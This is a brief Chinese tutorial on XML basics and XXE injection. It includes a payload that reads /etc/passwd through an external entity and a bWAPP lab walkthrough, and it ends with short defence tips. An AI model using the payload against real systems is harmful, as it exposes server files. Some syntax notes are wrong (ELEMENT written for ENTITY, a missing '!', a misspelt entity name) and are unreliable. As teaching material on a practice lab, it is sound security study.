1.XML
-
什麼是xml,他是用來幹什麼的?
xml(xtensible markup language),可擴展標記語言,其實就是一種傳輸文本的格式,他的格式和html的格式非常相似,通常是來做配置文件和存貯數據。而後來出現了json,json速度更快而被廣泛使用
-
xml的內部實體和外部實體的格式是什麼樣子的
如圖就是一個典型的xml文本:
- 格式:xml聲明:<?xml version="1.0" ?>
- 定義文檔內部或者外部實體格式:
- DOCTYPE 用來聲明 DTD :
<DOCTYPE 根元素[元素聲明]>
<!ELEMENT 實體名稱 “實體值”>
<!ELEMENT 實體名稱 system "URL">
- 區段分隔符
CDATA(<![CDATA[/]])
: 這個分隔符的意義在於 xml 解析器不會去解析 CDATA 區段包含的字符,CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data)。在 XML 元素中,"<" (新元素的開始)和 “&” (字符實體的開始)是非法的。某些文本,比如 JavaScript 代碼,包含大量 “<” 或 “&” 字符。爲了避免錯誤,可以將腳本代碼定義爲 CDATA。CDATA 部分中的所有內容都會被解析器忽略。CDATA 部分由 “<![CDATA[" 開始,由 "]]>” 結束
- 引用實體:&實體名稱;
2.XML審查不嚴格的時候會出現什麼威脅
- xml可以訪問外部url資源,內部的系統文件等,這種行爲就叫做xxe注入。外部實體及外部文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
//上述代碼中聲明瞭一個外部實體,變量名叫xxe,值引入的是//etc/passwd文件的路徑,然後進行root遍歷
- 可使用的函數
3.XML注入實例
-
bwapp——XML External Entity Attacks (XXE)
-
點擊any bugs,使用bwapp進行抓包
- 將此xml重新設置爲:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&xxe;</login>
<secret>Any bugs?</secret>
</reset>
🔺 //其中注意引用xxe:&xee;
- 讀取敏感文件
防禦xxe注入
- 過濾用戶提交的xml注入
- 禁用引用外部實體